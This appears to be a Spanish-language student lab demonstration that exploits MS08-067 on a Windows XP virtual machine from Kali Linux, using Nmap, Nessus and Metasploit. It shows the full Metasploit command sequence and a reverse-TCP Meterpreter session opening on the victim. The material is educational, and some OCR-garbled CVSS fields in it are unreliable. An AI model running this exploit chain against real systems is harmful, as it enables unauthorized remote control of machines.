

```
>>> Demo
```

```
Name: Sofía Almeida Bruno  
      Fernando de la Hoz Moreno
```

En esta demostración utilizamos dos máquinas virtuales: una de Kali Linux y otra de WindowsXP. Ambas deben estar en la misma red.

Para comprobar que las máquinas se ven enviaremos un ping entre ellas.

Desde Kali Linux, intentaremos atacar la máquina WindowsXP combinando Nmap, Nessus y metasploit.

Utilizamos Nmap para ver qué puertos tiene abiertos y con qué servicios:

```
root@kali:~# nmap 10.0.2.8

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-27 07:27 EST
Nmap scan report for 10.0.2.8
Host is up (0.00076s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:AC:5E:F0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 43.55 seconds
```

Iniciamos Nessus, un demonio que actúa como servidor.

```
root@kali:~# /etc/init.d/nessusd start
Starting Nessus : .
root@kali:~# █
```

Nos conectamos a un cliente gráfico de Nessus a través del navegador web y escaneamos el equipo que deseamos atacar.

The screenshot shows a web browser window displaying the Nessus interface. The browser's address bar shows the URL `https://localhost:8834/#scans/reports/hosts`. The Nessus interface has a sidebar on the left with navigation options: 'My Scans', 'All Scans', 'Trash', 'Policies', 'Plugin Rules', and 'Scanners'. The main content area is titled 'Prueba' and shows a table of hosts with columns for 'Host' and 'Vulnerabilities'. The table lists two hosts: 'Host' and '10.0.0.7'. The 'Host' row has a red bar indicating a high level of vulnerability, while the '10.0.0.7' row has a yellow bar indicating a medium level. To the right of the table, there is a 'Scan Details' section with the following information: Name: Prueba, Status: Completed, Policy: Basic Network Scan, Scanner: Local Scanner, Start: November 19 at 9:52 AM, End: November 19 at 9:54 AM, and Elapsed: 2 minutes. Below the scan details is a 'Vulnerabilities' section with a donut chart showing the distribution of vulnerability levels: Critical (red), High (orange), Medium (yellow), Low (green), and Info (blue). The chart shows that the majority of vulnerabilities are of 'Info' and 'Low' severity.

Host	Vulnerabilities
Host	High
10.0.0.7	Medium

Scan Details

- Name: Prueba
- Status: Completed
- Policy: Basic Network Scan
- Scanner: Local Scanner
- Start: November 19 at 9:52 AM
- End: November 19 at 9:54 AM
- Elapsed: 2 minutes




Vulnerabilities

- Critical
- High
- Medium
- Low
- Info

Applications ▾ Places ▾ Firefox ESR ▾ Mon 07:30
Nessus Home / Folders / View Scan - Mozilla Firefox

← | https://localhost:8834/tbiscans/reports/hosts/2/vulnerabilities/34477 | 🔍 Search

Most Visited ▾ Offensive Security \ Kali Linux \ Kali Docs \ Kali Tools 🔍 Exploit-DB 🔍 Armitage 🔍 Kali Forums 🔍 NetHunter 🔍 Getting Started

Nessus  Scan Settings  

Prueba / Plugin #34477 [Back to Vulnerabilities](#) [Configure](#) [Audit Trail](#) [Launch](#) [Export](#)

Vulnerabilities 24

CRITICAL MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (ECLIPSE...

Description
The remote Windows host is affected by a remote code execution vulnerability in the "Server" service due to improper handling of RPC requests. An unauthenticated, remote attacker can exploit this, via a specially crafted RPC request, to execute arbitrary code with "System" privileges.
ECLIPSEWING is one of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers.

Solution
Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008.

See Also
<http://technet.microsoft.com/en-us/security/bulletin/ms08-067>

Output
No output recorded.

Port	Hosts
445/tcp/cifs	10.0.2.7 if

Plugin Details

Severity: Critical
ID: 34477
Version: \$Revision: 1.43 \$
Type: local
Family: Windows
Published: October 23, 2008
Modified: August 30, 2017

Risk Information

Risk Factor: Critical
CVSS Base Score: 10.0
CVSS Temporal Score: 7.8
CVSS Vector: CVSS:RAW/N:AC/L:au/N:CG I:G:G
CVSS Temporal Vector: CVSS:3MC_FOOD/L:OFF/R:G
IAVM Severity: I

Vulnerability Information

CPE: cpe:/o:microsoft:windows
Exploit Available: true
Exploit Ease: Exploits are available
Patch Pub Date: October 23, 2008
Vulnerability Pub Date: October 23, 2008
In the news: true

$$[\sim]\$ \quad _-$$

[7/10]

```
msf > search ms08-067
```

```
Matching Modules
```

```
=====
```

Name	Disclosure Date	Rank	Description
----	-----	----	-----
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	MS08-067 Microsoft Server Service Relative Path Stack Corruption

```
msf > use exploit/windows/smb/ms08_067_netapi
```

```
msf exploit(ms08_067_netapi) > set RHOST 10.0.2.8
```

```
RHOST => 10.0.2.8
```

```
msf exploit(ms08_067_netapi) > set LHOST 10.0.2.15
```

```
LHOST => 10.0.2.15
```

```
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
```

```
payload => windows/meterpreter/reverse_tcp
```



```
Aplicaciones ▾ Lugares ▾ Terminal ▾ lun 07:43
Terminal
Archivo Editar Ver Buscar Terminal Ayuda
RHOST => 10.0.2.8
msf exploit(ms08_067_netapi) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOST      10.0.2.8         yes       The target address
  RPORT      445              yes       The SMB service port (TCP)
  SMBPIPE    BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST      10.0.2.15       yes       The listen address
  LPORT      4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting

msf exploit(ms08_067_netapi) > 
```

```
Aplicaciones ▾ Lugares ▾ Terminal ▾ lun 07:45
Terminal
Archivo Editar Ver Buscar Terminal Ayuda
Name      Current Setting Required Description
-----
EXITFUNC  thread      yes      Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.0.2.15   yes      The listen address
LPORT     4444        yes      The listen port

Exploit target:

Id  Name
--  ---
0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.8:445 - Automatically detecting the target...
[*] 10.0.2.8:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] 10.0.2.8:445 - Selected Target: Windows XP SP3 Spanish (NX)
[*] 10.0.2.8:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179267 bytes) to 10.0.2.8
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.8:1070) at 2017-11-27 07:44:58 -0500

meterpreter > sysinfo
Computer      : SOFIA
OS            : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : es_ES
Domain       : GRUPO_TRABAJO
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > 
```